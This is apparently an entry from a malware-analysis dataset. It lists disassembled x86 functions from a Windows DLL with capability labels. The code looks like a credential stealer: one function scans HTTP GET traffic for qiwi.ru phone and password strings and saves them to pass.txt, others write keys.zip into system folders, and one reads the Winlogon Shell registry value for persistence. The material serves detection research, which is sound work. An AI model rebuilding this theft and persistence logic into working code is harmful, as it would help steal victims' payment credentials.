joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100201d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
xor esi, esi
push edi
mov edi, eax
mov dword [esp + 0x10], esi
cmp dword [0x1005a2ac], esi
je 0x100202d2
cmp dword [0x1005a2a8], esi
jne 0x100202d2
lea eax, [esp + 0x20]
push eax
push edi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x100202d2
lea eax, [ebx + 0x13]
and eax, 0xfffffff0
push eax
push 8
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100202d2
mov ecx, dword [esp + 0x14]
push ecx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x100202d2
push 1
push 0
push 0
push edi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
push 0
push eax
push edi
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea edx, [esp + 0x1c]
push edx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push ebx
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x24]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [esp + 0x20], 0
je 0x100202d2
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrA]
push str.BEGIN_SIGNATURE
push esi
call ebx
test eax, eax
je 0x100202d2
push str.END_SIGNATURE
push esi
call ebx
test eax, eax
je 0x100202d2
mov eax, 1
mov dword [0x1005a2a8], eax
mov dword [esp + 0x10], eax
xor ecx, ecx
push ecx
push ecx
push ecx
xor eax, eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test esi, esi
je 0x10020307
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10020307
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100208e0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x10020928
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10020910
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1002095b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1002095b
test byte [esp + 0xc], 2
jne 0x1002095b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10020790
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100209a8
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x100209a8
test byte [esp + 0xc], 2
jne 0x100209a8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005c97c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INIST
push 0x1005c97c
call fcn.10013590
push 0x9c40
call ebx
call fcn.100208e0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100209e0
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x100209f0
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100209f0
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005ca80
call ebx
mov eax, 0x1005ca80
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10020a20
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020a32
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10020a81
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10020a7a
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10020b76
lea eax, [ebp - 0x104]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10020aa0
mov ecx, dword [str.keys.zip]
mov edx, dword [0x10049f14]
mov dword [eax], ecx
mov cl, byte [0x10049f18]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10029680
test eax, eax
je 0x10020b76
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10020ae0
push 0x1005ca80
call ebx
mov eax, 0x1005ca80
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10020b00
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020b12
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10020b30
mov ecx, dword [str.path1.txt]
mov edx, dword [0x1004a5c0]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x1004a5c4]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10020b60
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.10007140
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10021060
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x100210a8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10021090
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x100210db
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x100210db
test byte [esp + 0xc], 2
jne 0x100210db
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10020de0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10021128
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x10021128
test byte [esp + 0xc], 2
jne 0x10021128
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005ca80
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INTER
push 0x1005ca80
call fcn.10013590
push 0x9c40
call ebx
call fcn.10021060
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10021790
Capabilities:
Create directory
Create thread
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
cmp dword [0x1005a2bc], 0
push ebx
push esi
push edi
jne 0x10021979
mov edi, dword [ebp + 8]
test edi, edi
je 0x10021979
cmp dword [edi], 0x20544547
jne 0x10021979
cmp dword [0x1005a2b8], 0
jne 0x10021931
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str.w.qiwi.ru
push edi
call esi
add esp, 8
test eax, eax
je 0x10021979
push str.phone
push edi
call esi
add esp, 8
test eax, eax
je 0x10021979
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10021979
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10021810
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005cc88
call ebx
mov eax, 0x1005cc88
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10021836
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10021848
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1005cc88
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x10021870
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x210], cl
inc eax
test cl, cl
jne 0x10021870
mov eax, 0x1005cc88
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10021890
lea edi, [ebp - 0x210]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100218a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x210]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10007400
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x100218fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100218f6
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10021912
sub eax, edx
push eax
push esi
mov eax, str.pass.txt
call fcn.10007140
mov dword [0x1005a2b8], 1
push 0
push 0
push 0
push 0x10021ae0
push 0
push 0
mov dword [0x1005a2bc], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10021979
lea ecx, [ebp + 8]
push ecx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10021979
test byte [ebp + 8], 2
jne 0x10021979
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10022410
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10022420
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10022420
push 0x1005ce90
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005ce90
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10022444
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10022456
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x100224a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100224a0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
test eax, eax
je 0x100224f3
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100224c1
mov ecx, dword [str.keys.zip]
mov edx, dword [0x10049f14]
mov dword [eax], ecx
mov cl, byte [0x10049f18]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10029680
mov esp, ebp
pop ebp
ret 4
Function at 0x10023770
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10023780
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10023780
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005d098
call ebx
mov eax, 0x1005d098
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100237b0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100237c2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10023811
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1002380a
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10023906
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.10029680
test eax, eax
je 0x10023906
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10023845
mov edx, dword [str.keys.zip]
mov ecx, dword [0x10049f14]
mov dword [eax], edx
mov dl, byte [0x10049f18]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10023870
push 0x1005d098
call ebx
mov eax, 0x1005d098
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10023890
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100238a2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100238c0
mov ecx, dword [str.path1.txt]
mov edx, dword [0x1004a5c0]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x1004a5c4]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100238f0
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.10007140
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10024800
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10024847
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x100248bb
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x10024867
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x100248b0
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100248b0
test byte [esp + 0xc], 2
jne 0x100248b0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x10024886
Function at 0x10024b30
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x101
xor esi, esi
push esi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, eax
cmp edi, esi
jne 0x10024bb8
push 0x110
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10024bb8
push 0x110
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x10024bb8
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push esi
lea edx, [ebp - 0xc]
push edx
push 0
push str.Shell
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x10024bc6
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x10024bf3
test esi, esi
je 0x10024bf3
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10024bea
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10024c00
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xdf
lea eax, [ebp - 0xe3]
push 0
push eax
mov dword [ebp - 4], 0x104
movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10024cea
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
test edi, edi
je 0x10024cea
mov esi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 4]
push ecx
push edi
call esi
test eax, eax
jne 0x10024ca5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10024ca5
mov edx, dword [ebp - 4]
push edx
mov eax, edi
call fcn.10013d90
mov edi, eax
test edi, edi
je 0x10024cea
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x10024cea
push edi
call fcn.1001a8e0
xor esi, esi
cmp byte [edi], 0
je 0x10024cea
push ebx
movsx cx, byte [esi + edi]
lea ebx, [esi + edi]
movzx edx, cx
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x10024ce2
mov ecx, dword [ebp - 4]
push ecx
lea edx, [esi + edi + 1]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x10024cb3
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10024d00
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xde
lea eax, [ebp - 0xe2]
push 0
push eax
mov dword [ebp - 4], 0x104
movsw word es:[edi], word [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10024deb
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
test edi, edi
je 0x10024deb
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 4]
push ecx
push edi
call esi
test eax, eax
jne 0x10024da6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6f
jne 0x10024da6
mov edx, dword [ebp - 4]
push edx
mov eax, edi
call fcn.10013d90
mov edi, eax
test edi, edi
je 0x10024deb
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x10024deb
push edi
call fcn.1001a8e0
xor esi, esi
cmp byte [edi], 0
je 0x10024deb
push ebx
movsx cx, byte [esi + edi]
lea ebx, [esi + edi]
movzx edx, cx
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x10024de3
mov ecx, dword [ebp - 4]
push ecx
lea edx, [esi + edi + 1]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x10024db4
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10024e00
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10024ed2
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024e20
sub eax, edx
je 0x10024ed2
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x10108
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10024ed7
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [ebp - 4]
push 0
push 0
push 0
push 0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push ecx
mov dword [ebp - 8], 0x104
call edi
mov esi, eax
cmp esi, 0x103
je 0x10024eae
test esi, esi
jne 0x10024ebe
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10c]
push edx
push eax
call fcn.10024e00
mov esi, eax
test esi, esi
je 0x10024e54
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x3f2
pop esi
mov esp, ebp
pop ebp
ret 8